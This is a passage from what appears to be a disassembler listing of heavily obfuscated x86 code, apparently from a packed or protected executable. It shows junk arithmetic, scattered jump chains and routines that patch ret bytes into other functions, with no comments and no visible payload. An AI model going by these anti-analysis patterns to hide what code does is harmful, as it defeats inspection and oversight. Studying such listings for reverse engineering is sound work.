[esp+0] pop esi pop ebp retn sub_753D03 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_753D09: ; CODE XREF: _0z4jwtox:0074746Cj jmp loc_752C7D ; =============== S U B R O U T I N E ======================================= sub_753D0E proc near ; CODE XREF: sub_7501AF-A4BFj ; _0z4jwtox:loc_7470AAp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745B20 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074A6CB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0074B81D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075554D SIZE 00000005 BYTES push esi xor esi, 501761E3h jmp loc_75554D sub_753D0E endp ; =============== S U B R O U T I N E ======================================= sub_753D1A proc near ; DATA XREF: _0z4jwtox:00748A48o var_4 = dword ptr -4 push 9CC9C304h xchg edi, [esp+4+var_4] mov ecx, edi pop edi and ecx, 0A9BD5CB3h jmp loc_748F4B sub_753D1A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_753D30: ; CODE XREF: sub_74F73B:loc_750404j ; _0z4jwtox:00750419j xor edi, 6C17F6CCh add edi, 3B2B4CA2h xchg edi, [esp+30h+var_30] jmp loc_74856F ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_753D44: ; CODE XREF: sub_74D4D3+5AD4j popf xchg ebx, [esp-8+arg_4] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_753D4D: ; CODE XREF: sub_747736:loc_7450E7j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750A01 loc_753D51: ; CODE XREF: sub_750A01+4j cmp dword ptr [ebp-10h], 1 push offset sub_749487 jmp loc_755009 ; END OF FUNCTION CHUNK FOR sub_750A01 ; =============== S U B R O U T I N E ======================================= sub_753D5F proc near ; DATA XREF: _0z4jwtox:0074CE74o ; FUNCTION CHUNK AT 0074DEA8 SIZE 0000000E BYTES push 432C2BEBh pop eax loc_753D65: ; CODE XREF: _0z4jwtox:007492FAj or eax, 9407EF70h js loc_74DEA8 sub_753D5F endp ; START OF FUNCTION CHUNK FOR sub_7562D5 loc_753D71: ; CODE XREF: sub_7562D5-862j jmp loc_746E4B ; END OF FUNCTION CHUNK FOR sub_7562D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_753D76: ; CODE XREF: _0z4jwtox:0074AA2Ej ; sub_746640:loc_74FCC8j jmp loc_74D230 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- xor ebx, ecx jmp loc_74DEA0 ; --------------------------------------------------------------------------- jmp ds:off_41F000 ; --------------------------------------------------------------------------- loc_753D88: ; CODE XREF: _0z4jwtox:007555ABj jmp loc_754196 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_753D8D: ; CODE XREF: sub_752957:loc_749C35j ; sub_752957-7C2Aj ... jb loc_74AD32 pop edx mov eax, [esp-4+arg_0] push edx jmp loc_74AD0F ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750B5C loc_753D9D: ; CODE XREF: _0z4jwtox:00749369j ; sub_750B5C:loc_7576B8j add esi, 0CF5A9263h xor esi, 0D9B26F72h add esi, 4E7A32E4h xchg esi, [esp+4+var_4] jmp loc_74ABAD ; END OF FUNCTION CHUNK FOR sub_750B5C ; --------------------------------------------------------------------------- loc_753DB7: ; CODE XREF: _0z4jwtox:loc_745435j ; _0z4jwtox:loc_74DDA0j pop edx and edx, 63858EFh add edx, 0FA11E876h mov [edx], eax pop edx call sub_74F402 loc_753DCC: ; CODE XREF: _0z4jwtox:00756B93j jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E693 loc_753DD1: ; CODE XREF: sub_74E693+6E69j jmp nullsub_234 ; END OF FUNCTION CHUNK FOR sub_74E693 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_753DD6: ; CODE XREF: sub_74A7D8:loc_745B1Bj ror edi, 16h jmp loc_751512 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; =============== S U B R O U T I N E ======================================= sub_753DDE proc near ; CODE XREF: _0z4jwtox:007453C5j ; sub_7535F0-9FEp ; FUNCTION CHUNK AT 00757518 SIZE 00000010 BYTES xchg esi, [esp+0] pop esi pushf push 0CD977F63h pop edi sub edi, 93A90C4Bh add edi, 0BA0FDE1Bh jmp loc_757518 sub_753DDE endp ; =============== S U B R O U T I N E ======================================= sub_753DFA proc near ; CODE XREF: sub_7467F4j ; DATA XREF: _0z4jwtox:007467EAo ; FUNCTION CHUNK AT 0074D371 SIZE 00000005 BYTES call sub_746E93 mov ds:dword_41F0FC, eax lea eax, nullsub_273 mov byte ptr [eax], 0C3h jmp loc_74D371 sub_753DFA endp ; --------------------------------------------------------------------------- loc_753E13: ; DATA XREF: sub_746CC3+FE14o cmp eax, [ebp-8] jnz loc_754EBA mov eax, [ebp-14h] mov eax, [eax+24h] jmp loc_74B9CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_753E27: ; CODE XREF: sub_747C22+DC1Fj test byte ptr [eax+1], 80h jnz loc_74B803 jmp loc_747BF6 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_753E36: ; CODE XREF: sub_75622B+6j call sub_747C72 loc_753E3B: ; CODE XREF: sub_747C72+F55Fj jmp sub_75622B ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_753E40: ; CODE XREF: sub_756826-1014Ej jmp loc_74CECD ; END OF FUNCTION CHUNK FOR sub_756826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_753E45: ; CODE XREF: sub_74A96E:loc_7494DFj mov ebp, esp push ebp mov ebp, ecx xchg ebp, [esp+0] push edi jmp loc_74747D ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- loc_753E53: ; CODE XREF: _0z4jwtox:00754BD1j pop ebx mov eax, [esp] push esi mov esi, edx xchg esi, [esp] call sub_750C4E mov eax, 0D504D785h jmp loc_749995 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_753E6C: ; CODE XREF: sub_7543C5:loc_74FA60j jl loc_747D29 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_753E72: ; CODE XREF: sub_752FC5-43A8j jmp loc_74E422 ; END OF FUNCTION CHUNK FOR sub_752FC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_753E77: ; CODE XREF: sub_74B1F1-514Bj jmp loc_74993B ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- dd 495B850Fh, 8150FFFFh, 69EFA1FBh, 3E8CE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74985C loc_753E8E: ; CODE XREF: sub_74985C+Aj jnz loc_754A30 jmp loc_7560B4 ; END OF FUNCTION CHUNK FOR sub_74985C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_753E99: ; CODE XREF: sub_747C22:loc_74FCEEj pop ebx or ecx, 260CDFh sub ecx, 3488FC0Ch and ecx, 2706DB25h xor ecx, 0AFB96394h add ecx, ebp add ecx, 55409E3Fh mov [ecx], eax jmp loc_74D436 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- mov [eax], esi xor ebp, 0EB401331h jmp sub_752BD1 ; --------------------------------------------------------------------------- loc_753ECE: ; CODE XREF: _0z4jwtox:0074520Bj ; _0z4jwtox:0074DF1Fj xor eax, 18990384h rol eax, 0Ah sub eax, 89E0E126h push ebx push 0F539BA5h jmp loc_74A0D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508A4 loc_753EE8: ; CODE XREF: sub_7508A4+6j pop ebx xchg ebx, [esp+0] mov ebp, esp push ecx push eax jmp loc_752A65 ; END OF FUNCTION CHUNK FOR sub_7508A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7459BC loc_753EF5: ; CODE XREF: sub_7459BC+9AFBj jl loc_74FA6A ; END OF FUNCTION CHUNK FOR sub_7459BC ; START OF FUNCTION CHUNK FOR sub_75263A loc_753EFB: ; CODE XREF: sub_75263A+5j jmp loc_7482D1 ; END OF FUNCTION CHUNK FOR sub_75263A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755892 loc_753F00: ; CODE XREF: sub_755892-A6E2j jmp loc_7558A2 ; END OF FUNCTION CHUNK FOR sub_755892 ; --------------------------------------------------------------------------- ror edi, 9 cmp edi, ebx jmp loc_746B24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7556D8 loc_753F0F: ; CODE XREF: sub_7556D8:loc_7529F6j xor ebx, 2A88498Ch loc_753F15: ; CODE XREF: _0z4jwtox:loc_74F58Ej jmp loc_748118 ; END OF FUNCTION CHUNK FOR sub_7556D8 ; =============== S U B R O U T I N E ======================================= sub_753F1A proc near ; CODE XREF: sub_757528j ; DATA XREF: sub_753DDE+3740o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074A812 SIZE 00000005 BYTES add edi, 0C291DC8h popf xchg edi, [esp-4+arg_0] jmp loc_74A812 sub_753F1A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755B5B loc_753F29: ; CODE XREF: sub_755B5B+4j cmp ds:dword_75161C, 0 jnz loc_74E190 call nullsub_5 call sub_754FC6 jmp loc_757556 ; END OF FUNCTION CHUNK FOR sub_755B5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_753F45: ; CODE XREF: sub_74FE55:loc_747F62j jz loc_7547E9 jmp loc_7505B6 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_753F50: ; CODE XREF: sub_746640-2A6j add eax, 0E7093E19h push edx jmp loc_75276D ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_753F5C: ; CODE XREF: sub_749010+7871j shl esi, 7 ja nullsub_122 jmp loc_74F776 ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_753F6A: ; CODE XREF: sub_7561AB:loc_74A50Dj mov al, [eax] push 1076512Dh pop edx loc_753F72: ; CODE XREF: sub_752737:loc_746B42j sub edx, 5DD7DA48h add edx, 97329078h add edx, ebp add edx, 0B62EF87Bh jmp loc_7574C3 ; END OF FUNCTION CHUNK FOR sub_7561AB ; =============== S U B R O U T I N E ======================================= sub_753F8B proc near ; DATA XREF: _0z4jwtox:0074CCC6o ; FUNCTION CHUNK AT 00747ACD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748A73 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CE1A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 007543E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755E64 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0075719C SIZE 00000005 BYTES push 0C2F69D10h pop eax or eax, 0C95B2E9Ch rol eax, 18h and eax, 0DAB2730h rol eax, 8 jmp loc_748A73 sub_753F8B endp ; --------------------------------------------------------------------------- adc eax, 0AB8DEBD0h sbb esi, edi jmp sub_7557E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F9 loc_753FB5: ; CODE XREF: sub_74B1F9:loc_751615j pop ebx xchg ebx, [esp+0] push ecx push offset loc_74CBA0 jmp loc_7573EB ; END OF FUNCTION CHUNK FOR sub_74B1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_753FC4: ; CODE XREF: sub_74BD6F-396Cj ; sub_74BD6F:loc_749AE6j push offset loc_74B34B jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_74BD6F ; =============== S U B R O U T I N E ======================================= sub_753FCE proc near ; CODE XREF: sub_7540D7j ; DATA XREF: sub_74724C+CE81o ; FUNCTION CHUNK AT 00746E56 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007472EE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00749E71 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B103 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B899 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074C4A5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074C5E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E36A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00750785 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750993 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007526C4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00756018 SIZE 00000007 BYTES add eax, ebp add eax, 2ACFAC6Eh mov eax, [eax] mov al, [eax] jo loc_74C4A5 jmp loc_74E36A sub_753FCE endp ; --------------------------------------------------------------------------- loc_753FE5: ; CODE XREF: _0z4jwtox:loc_74B41Ej pop edx sub edx, 8C8C5D90h and edx, 0D1C024AFh sub edx, 0AAE89C54h rol edx, 1Bh add edx, 47C86BFEh xchg edx, [esp] jmp sub_746E93 ; --------------------------------------------------------------------------- or ebp, ecx jmp sub_74DDDA ; --------------------------------------------------------------------------- loc_754010: ; DATA XREF: sub_7557E7-623Fo push 0DDE232B3h push offset sub_74EC22 jmp loc_7533BC ; --------------------------------------------------------------------------- push ebx push 83701DB1h pop ebx rol ebx, 1Eh add ebx, 9F65E9FCh jmp loc_74D967 ; --------------------------------------------------------------------------- loc_754034: ; DATA XREF: sub_74F3E4+Eo and ax, 38FFh cmp ax, 20FFh jz loc_747CE0 xor eax, eax jmp loc_750960 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C3B loc_754049: ; CODE XREF: sub_748C3B:loc_7489FCj jge loc_754B36 ; END OF FUNCTION CHUNK FOR sub_748C3B ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_75404F: ; CODE XREF: sub_74CBCF+4327j jmp loc_748282 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- jl sub_7452F3 mov eax, 0DB94D7D5h jmp loc_754B36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_754064: ; CODE XREF: sub_7514AC:loc_74E3ACj jz loc_752583 cmp eax, 4DB03E98h jmp loc_7556E9 ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DB7 loc_754075: ; CODE XREF: sub_748DB7+Fj call sub_74A8F9 loc_75407A: ; CODE XREF: sub_74D782-6171j jmp nullsub_123 ; END OF FUNCTION CHUNK FOR sub_748DB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_75407F: ; CODE XREF: sub_749980:loc_748408j ; _0z4jwtox:00748429j and esi, 29DC5188h jns loc_74592B ; END OF FUNCTION CHUNK FOR sub_749980 ; START OF FUNCTION CHUNK FOR sub_745BF7 loc_75408B: ; CODE XREF: sub_745BF7+17j jmp loc_74F9F2 ; END OF FUNCTION CHUNK FOR sub_745BF7 ; --------------------------------------------------------------------------- ja loc_754E3C jmp loc_74591F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_75409B: ; CODE XREF: sub_74D23E+BB2j jbe loc_753533 sbb edi, 7E4C6E21h add ecx, edx loc_7540A9: ; CODE XREF: sub_756826-11770j ; _0z4jwtox:00747D41j ... jmp loc_747D88 ; --------------------------------------------------------------------------- loc_7540AE: ; CODE XREF: sub_756826-E86Bj ; sub_74D23E-519Aj xchg edi, [esp+0] mov ecx, edi jmp loc_748BFB ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_7540B8: ; CODE XREF: sub_74724C+DD4Cj rol eax, 0Dh xor eax, 7295A8E4h add eax, 656152FEh xor eax, 9D6024BBh push offset sub_753FCE jmp nullsub_187 ; END OF FUNCTION CHUNK FOR sub_74724C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_7540D7 proc near ; CODE XREF: sub_7508F9-3FDEj retn sub_7540D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_7540D8: ; CODE XREF: sub_745A78:loc_748ECDj test ebp, 5607E388h jmp loc_752188 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747546 loc_7540E3: ; CODE XREF: sub_747546:loc_754805j xchg edx, [esp-4+arg_0] jmp sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_747546 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_7540EB: ; CODE XREF: sub_74D23E:loc_74AB20j jz loc_74D09A jmp loc_746F9D ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7510EA loc_7540F6: ; CODE XREF: sub_7510EA-59D6j ror esi, 0Ch loc_7540F9: ; CODE XREF: sub_7462C2:loc_75148Aj jmp loc_74E6D8 ; END OF FUNCTION CHUNK FOR sub_7510EA ; --------------------------------------------------------------------------- locret_7540FE: ; CODE XREF: _0z4jwtox:0074C257j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756327 loc_7540FF: ; CODE XREF: sub_756327-9F02j jmp loc_749DBC ; END OF FUNCTION CHUNK FOR sub_756327 ; --------------------------------------------------------------------------- sub ecx, edi jmp sub_746869 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_75410B: ; CODE XREF: sub_746640+BBAj jl loc_74BC2E jmp loc_75716C ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- mov ds:off_41F018, eax lea eax, sub_745A78 mov byte ptr [eax], 0C3h jmp loc_757433 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_75412A: ; CODE XREF: sub_745A78j xchg edi, [esp+0] push edi pop edx pop edi jmp loc_749CFE ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- test edx, ebx jmp loc_745F76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E531 loc_75413C: ; CODE XREF: sub_74E531:loc_754E7Aj or edx, 1982CEB8h rol edx, 7 add edx, 32754F09h xchg edx, [esp+0] jmp loc_756CFD ; END OF FUNCTION CHUNK FOR sub_74E531 ; --------------------------------------------------------------------------- jge loc_748275 xor ebx, ebp jmp sub_74E074 ; --------------------------------------------------------------------------- loc_754160: ; CODE XREF: _0z4jwtox:00746E66j jge loc_75094C add edi, ecx xor ebx, 30B41EFDh add eax, esi jmp loc_75094C ; =============== S U B R O U T I N E ======================================= sub_754175 proc near ; CODE XREF: _0z4jwtox:0074974Bj ; sub_747C39:loc_755184p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00753367 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007534C6 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00753B98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007561D3 SIZE 00000017 BYTES xchg edx, [esp+0] pop edx add esp, 4 push 29F72C0Ah jmp loc_7561D3 sub_754175 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_754187: ; CODE XREF: _0z4jwtox:0074FFF4j jmp loc_74F636 ; --------------------------------------------------------------------------- loc_75418C: ; CODE XREF: _0z4jwtox:0074DBC6j jmp loc_74709D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_754191: ; CODE XREF: sub_7508F9-A4EAj jmp loc_7486E5 ; END OF FUNCTION CHUNK FOR sub_7508F9 ; --------------------------------------------------------------------------- loc_754196: ; CODE XREF: _0z4jwtox:loc_753D88j pop eax sub eax, 0C2ED63EAh add eax, 78D39BD8h xor eax, 0EB38CBD9h or eax, 79136563h xor eax, 7B220CA3h jmp loc_756C5E ; =============== S U B R O U T I N E ======================================= sub_7541BA proc near ; CODE XREF: _0z4jwtox:0074961Aj ; sub_7476BB:loc_74D6ADp ; FUNCTION CHUNK AT 00748A68 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00748CBE SIZE 0000001F BYTES ; FUNCTION CHUNK AT 007491B7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074A35D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074A883 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074AABC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D843 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E927 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074F380 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FBF0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007509DE SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0075493B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754FAA SIZE 00000011 BYTES xchg eax, [esp+0] pop eax push 2C56CB65h pop eax sub eax, 0A4A98A72h jmp loc_74AABC sub_7541BA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7541CF proc near ; CODE XREF: _0z4jwtox:0074D63Cj ; sub_752D11:loc_74E033p ; FUNCTION CHUNK AT 0074B80E SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx add edx, 63B92F50h mov edx, [edx] call sub_7462C2 loc_7541E0: ; CODE XREF: sub_75422B-ECAj jmp loc_74B80E sub_7541CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C45E loc_7541E5: ; CODE XREF: sub_74C45E+5j jmp loc_74DF88 ; END OF FUNCTION CHUNK FOR sub_74C45E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_7541EA: ; CODE XREF: sub_745A78+Aj push edx call sub_74A5E8 mov eax, 1171F650h push offset loc_75560F jmp loc_74E142 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_7541FF: ; CODE XREF: sub_74E762+Ej jnz loc_747F80 jmp loc_754AE9 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- mov eax, 0CE3062ECh push esi push 948EA274h pop esi jmp loc_75769B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C34 loc_75421B: ; CODE XREF: sub_745C34:loc_745C39j jz loc_756F33 mov ebp, 0ED0B5ECAh jmp loc_756F32 ; END OF FUNCTION CHUNK FOR sub_745C34 ; =============== S U B R O U T I N E ======================================= sub_75422B proc near ; CODE XREF: sub_754729:loc_745A42p ; sub_74CF35+7C22p ; FUNCTION CHUNK AT 0075335B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00757551 SIZE 00000005 BYTES xor bx, bx add ebx, 10000h loc_754234: ; CODE XREF: sub_7541CF-89B9j ; sub_74F594+3DC0j jnb loc_75335B call sub_74F594 loc_75423F: ; CODE XREF: sub_746D87+Dp ; _0z4jwtox:0074D84Ej xchg eax, [esp+0] pop eax xor esi, 0A35153A1h add esi, ebp add esi, 48EEF5B3h mov [esi], eax pop esi jmp loc_757551 sub_75422B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_754259: ; CODE XREF: sub_7490F6+BCj jz loc_75008B loc_75425F: ; CODE XREF: _0z4jwtox:007493EBj jmp nullsub_172 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745644 loc_754264: ; CODE XREF: sub_745644+1E70j jmp loc_748EB3 ; END OF FUNCTION CHUNK FOR sub_745644 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_754269: ; CODE XREF: sub_74B1F1-4182j jmp loc_746B10 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- pop ebx mov edx, 995F4123h jmp loc_750089 ; --------------------------------------------------------------------------- loc_754279: ; CODE XREF: _0z4jwtox:0075278Dj mov ebx, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_75427C proc near ; CODE XREF: sub_7463AE+6A15p var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 007493F0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074F5EE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00754BE8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00755199 SIZE 00000020 BYTES xchg ebx, [esp+0] pop ebx push ebx pushf push 10472DC2h pop ebx and ebx, 5C01C483h jmp loc_754BE8 sub_75427C endp ; sp-analysis failed ; --------------------------------------------------------------------------- test esi, 8FAF7426h jmp loc_74CB04 ; --------------------------------------------------------------------------- or edi, ecx jmp sub_7571AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_7542A5: ; CODE XREF: sub_74CBB7:loc_750C49j mov eax, [esp-4+arg_0] push edx push ecx push 69FD1C34h pop ecx rol ecx, 18h jmp loc_7573E6 ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- sub eax, ebp jmp loc_756ABF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754A60 loc_7542BF: ; CODE XREF: sub_754A60+13j mov ds:off_41F14C, eax lea eax, sub_755F42 mov byte ptr [eax], 0C3h jmp loc_750BB6 ; END OF FUNCTION CHUNK FOR sub_754A60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F42 loc_7542D3: ; CODE XREF: sub_755F42j pop edx mov eax, [esp+0] push edx call sub_754A3D push 870FF287h jmp loc_749A77 ; END OF FUNCTION CHUNK FOR sub_755F42 ; --------------------------------------------------------------------------- rol ebx, 1Bh cmp eax, edi jmp loc_746DD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7542F1: ; CODE XREF: sub_752D11-48D0j jno loc_7506CC cdq jmp loc_74C928 ; END OF FUNCTION CHUNK FOR sub_752D11 ; =============== S U B R O U T I N E ======================================= sub_7542FD proc near ; DATA XREF: sub_74E693+6E64o ; FUNCTION CHUNK AT 0075359C SIZE 00000010 BYTES xchg ebp, [esp+0] mov eax, ebp pop ebp or eax, 9577C79Bh xor eax, 1CB12B13h rol eax, 18h jmp loc_75359C sub_7542FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_754317: ; CODE XREF: sub_756496-6502j push offset sub_7544F1 jmp loc_745349 ; END OF FUNCTION CHUNK FOR sub_756496 ; --------------------------------------------------------------------------- call nullsub_19 jmp ds:dword_41F050 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750F2E loc_75432C: ; CODE XREF: sub_750F2E+4DA1j jmp nullsub_225 ; END OF FUNCTION CHUNK FOR sub_750F2E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ds:5A00002Ah, edi mov eax, [esp] jmp loc_746B38 ; --------------------------------------------------------------------------- mov eax, 0DD1C4F2h push offset sub_749D75 jmp loc_745A73 ; --------------------------------------------------------------------------- jl loc_754E44 jmp sub_74A279 ; --------------------------------------------------------------------------- pushf sbb ecx, 36414C61h adc eax, 4682941h jl loc_749A7B jle loc_74B2FD jmp loc_74B4B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_754378: ; CODE XREF: sub_74698F:loc_74FE50j push 2CDE01CFh pop eax rol eax, 8 and eax, 22B917BDh jmp loc_752A0A ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462FD loc_75438C: ; CODE XREF: sub_7462FD:loc_754890j jnz loc_7568D8 loc_754392: ; CODE XREF: _0z4jwtox:0074ADB2j jmp loc_75720A ; END OF FUNCTION CHUNK FOR sub_7462FD ; --------------------------------------------------------------------------- sbb ecx, 2821792Dh push eax jmp loc_7568D8 ; --------------------------------------------------------------------------- loc_7543A3: ; DATA XREF: sub_75364C-2C83o push 846E37Fh pop edx sub edx, 0C60573A7h cmp edx, 0BE08576h jmp loc_754C0B ; --------------------------------------------------------------------------- loc_7543BA: ; CODE XREF: _0z4jwtox:007463EDj test ecx, 9559A817h jmp loc_755329 ; =============== S U B R O U T I N E ======================================= sub_7543C5 proc near ; CODE XREF: 